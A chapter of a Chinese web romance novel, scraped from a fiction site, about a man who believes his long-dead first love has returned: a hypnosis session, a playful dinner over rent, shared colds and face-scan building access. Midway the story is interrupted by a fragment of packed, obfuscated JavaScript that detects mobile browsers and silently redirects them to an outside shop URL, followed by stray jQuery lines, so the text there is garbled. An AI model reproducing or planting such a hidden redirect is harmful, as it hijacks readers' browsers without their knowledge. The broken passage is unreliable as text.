文趣网 > 都市小说 > 白月光死后的第八年 > 10. 特权
    两天前。

    白鹭洲上的那个雨夜。

    霍思瑶睡下以后,梁佑霆在水晶宫的会客室见到了来访的医生赖文霖。

    与其说是来访,倒不如说是被请来的。

    “梁先生,又见面了。”凌晨一点的会面对赖文霖来说稀疏平常,他依旧保持着微笑。

    梁佑霆跨坐在金丝楠木的躺椅上,十指交叉,一双食指局促地交换上下的位置,像在忖思什么。许久后,才缓缓开口。

    “你记得霍思瑶吗?”

    赖文霖在大脑中迅速检索,大概是五年前的一个雨夜,眼前这个男人敲开了他办公室的门,嘴里念叨的就是这个名字,还说自己见到她了。

    后来赖文霖私下查了霍思瑶的病历,如果他没记错的话,当时医院开的是死亡医学证明。

    也就是说这个霍小姐她——

    已经不在了。

    梁佑霆没有等待他的回应,继续说道:“我刚才见到她了。”

    赖文霖见怪不怪:“梁先生,我作为心理医生,必须再次跟您强调现实与梦境的区别。这位霍思瑶小姐,您是见到,还是梦到?”

    同样的答案再次重复:“我见到她了。”

    窗外雷声大作,惨白的闪电不时掠过会客室,徒增诡异气氛。

    他的这个回答没有一丝迟疑,赖文霖的脸上闪过难掩的质疑,继续提问:“那您做了什么?”

    “我把她接回了家,给她吃了东西,还让她和哥哥通了电话。”

    “梁先生,从科学的角度来说,人死不能复生。虽然不排除一些无法解释的超自然现象,但人死了八年,确实不能复生。”

    梁佑霆不甘:“那如果是失踪呢?”

    赖文霖有所耳闻,当年因为手术室里凭空少了一个女病人,他们医院的院长都换人了。

    但这个消息被人压下了,所以是否是霍思瑶,他也是只是猜测。

    “那恭喜您啊,梁先生。失而复得呢,应该要开心啊!”

    赖文霖并不打算说服他,而是眯眼微笑。

    “现在放松下来,闭上眼睛,慢慢吸气,缓缓呼气,开始进入梦乡……”

    对于梁佑霆这样的病人,治疗得哄着,而不是讲道理。

    催眠怀表来回摇晃,躺椅上连轴转了好几天的男人终于沉沉睡了过去。

    *

    此时,通体漆黑的迈巴赫正驶离中环,顺着环山公路蜿蜒而上,径直驶入半山别墅的地下车库。

    梁佑霆下车,看着一旁车位上停着的库里南,耳边响起陈家乐的话:

    “回去以后找赖医生睡上一觉啊!”

    “身体亏空影响子嗣质量啊!”

    “感冒药要吃啊,不然口口相传,祸害女孩!”

    ……

    这医生怎么尽说的虎狼之词?

    梁佑霆把陈家乐带来的感冒药扔进了储物箱里,砰一声关上了车门。

    正值晚饭时间。

    一楼餐厅里,霍思瑶正在低头猛吃。听见开门声后,她立马放下筷子,佯装吃好了的样子准备上楼。

    经过大门口时,她用余光确认是梁佑霆后,故意放慢了脚步。

    “你碗里还有汤。”梁佑霆顿了顿,“这鱼也没吃完,不吃了吗?”

    霍思瑶停住没转身:“今天的菜不合胃口。”

    “不合胃口,还吃光两盘菜?”四菜一汤只剩下两菜半汤了,吃光的那两盘都已经看不出是什么了。

    霍思瑶气愤:“……”

    你是我哥吗管得那么宽!

    “小姐,吃点水果吧。今天的草莓很新鲜啊,果农下午刚摘的就送过来了。”彩姐正把洗好的水果往外端,每一句都诱惑着霍思瑶这个“草莓脑袋”。

    她终于忍不住了,转身不紧不慢走回餐桌,应声附和:“哎呀,彩姐你怎么不早说?唔,好吃好吃!”

    梁佑霆自始至终都只是驻足在门口,但屋里一来一回,感觉已经演完好几出戏了。

    他眉头轻挑,宠溺又无奈:“慢点吃,没人跟你抢。”

    两人就这样又开始了共进晚餐时刻。

    只不过一个是第一顿,另一个已经是第二顿了。

    吃饱喝足后,她开始打起小算盘:“我去了解过了,一般租房呢,都是押一付三的。你可能不明白,就是押一个月的租金,一次性先付三个月的,也就是你得先给我四个月的租金……”

    “你打算住多久啊?”

    这问题梁佑霆还真没想过。

    大学的时候,他就在这里断断续续住了两年,当时他也没想过有一天会离开。

    记得那一次,他因为比赛没拿到金奖,被父亲责骂,一气之下离家出走。他无处可去,就朝着学校方向走去,正好遇上霍家兄妹回家。

    霍思珩邀他去家里玩,霍思瑶眉眼弯弯:“佑霆哥,去我家啊,想住多久就住多久。”

    当时他只羡慕,世界上怎么会有这么没心没肺笑的女孩。

    而如今,这个女孩却在问他要住多久。

    听起来像赶人的话。

    不过梁佑霆并不准备思考这个问题,毕竟房子已经在他名下了。

    “先租五年吧。押一付三是吗,行,明天我让人转到卡上。”

    他随口说了个数字。

    这下轮到霍思瑶纠结了:“等、等下,你要在我家住五年?!那不是……都三十四岁了!你不结婚了吗?”

    梁佑霆像是没听清,又像是想确认自己没听错,身体不自觉地往霍思瑶那边靠:“谁说我要结婚了?嗯?”

    虽说网上的照片拍得有鼻子有眼的,但总不能说是自己在网上搜人家的名字吧。

    空气中漫着尴尬气氛。

    他反问,她不语,他再问,她装傻。

    “那个……年纪这么大,家里也该催婚了吧?呵呵,呵呵呵。”霍思瑶脸颊绯红,用干笑掩饰,往后一靠。

    这个椅背怎么这么近!连个后退的余地都没有。

    她眼神闪躲,正当她以为会有更尴尬的场面时,梁佑霆突然垂眸,情绪有些低落。

    “是吗?”

    他沉声道,像是在说给自己听。

    “是、是啊!我阿爸要是在,我也该被催婚了。”这个类比显然没有安慰到他。

    梁佑霆放下还没吃完的碗筷,什么也没说,就朝楼上走去。

    霍思瑶怔住。

    刚才是尴尬地想逃,现在他走了,自己又想追上去解释。

    可是追上去又不知道要说点什么。

    她只能和满桌的草莓屁屁面面相觑,然后又往嘴里塞了一个。

    管他呢,或许他只是吃太多晕碳了呢?

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844470|211711||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >她正想着,突然连打三四个喷嚏,然后默念了几遍“大吉利是”,上楼回了自己的房间。

    *

    晚上九点。

    霍思瑶已经躺在软乎的被窝里,但从刚才回到房间后就一直在流鼻涕,她都不明白自己怎么就感冒了。

    咚咚咚——

    礼貌的敲门声。

    “门没锁,进来吧。”霍思瑶擤了擤鼻涕,感觉鼻子已经不是自己的了。

    门并没有推开,而是继续咚咚咚敲门,门外是梁佑霆带着鼻音的声音:“是我。”

    她顿了顿,因为刚才的话有点心虚,决定下床开门。

    梁佑霆站在门口,手里拿着一个平板。他把平板举在胸口位置,正好和霍思瑶齐平。

    “抬头看这里。”

    “做什么?”她问归问,还是乖巧地把脸对准了摄像头的位置。

    平板发出了机械的提示音。

    “请张开嘴巴。”

    “啊——”

    “请左右转头。”

    咻——左转。咻——右转。

    “请点头。”

    大幅度上下晃动。

    “人脸信息录入成功,已授权八十八楼通行权限。”

    “嗯,好的。”

    嗯?!什么???

    霍思瑶神情错愕:“八十八楼?是那个我白天去过的八十八楼,你办公室那个楼层?”

    梁佑霆沉声:“难道你还想让全公司上下看你泥鳅一样的身影?”

    好好好。

    看来是嫌我这个007中国分7丢人了。

    霍思瑶小脸一垮,转身关门谢客。

    房门被一只大手抵住,梁佑霆稍一用力就破门而入,速度太快几乎贴在她身前,两人近得能互相听到对方的呼吸声。

    一样的呼哧呼哧。

    每次吸气都裹挟着鼻塞的浊响。

    “你是不是……打喷嚏,流清涕,喉咙干?”梁佑霆把白天陈家乐问他的话重复了一遍。

    “你也是?”

    得到霍思瑶肯定的答复后,他离开房间,快步走向地下车库。

    十分钟后。

    霍思瑶的房门再次被敲响。

    这次他没再等,自己就开了门,手里还端着一杯棕色的液体,杯口冒着热气。

    “你感冒了,喝了吧。”

    霍思瑶半靠在床头,半信半疑:“这什么药?”

    梁佑霆没有接话,他不知道如何说服病人服下一个骨科医生开的感冒药。

    他决定以身试药,正准备直接抿一小口,耳边又响起陈家乐的告诫“口口相传,祸害女孩”。

    口口——相传——

    祸害——女孩——

    梁佑霆半仰着头,把杯口举到嘴唇上方约十公分的高度,悬空朝嘴里倒了一小口的药量。

    热气倾泻而下。

    舌头麻了。

    这药真tm烫。

    “没毒。”他屏着没有知觉的舌头,说着囫囵话。

    霍思瑶接过药,吹一口喝一口,一杯下肚,整个人都感觉暖起来了。

    “谢谢你啊,佑霆哥。”

    “顺便。”梁佑霆

    霍思瑶吸了吸鼻子,转过头眉眼弯弯:“我说的是阿朗的事。”

    “还有这里,你想住多久就住多久。”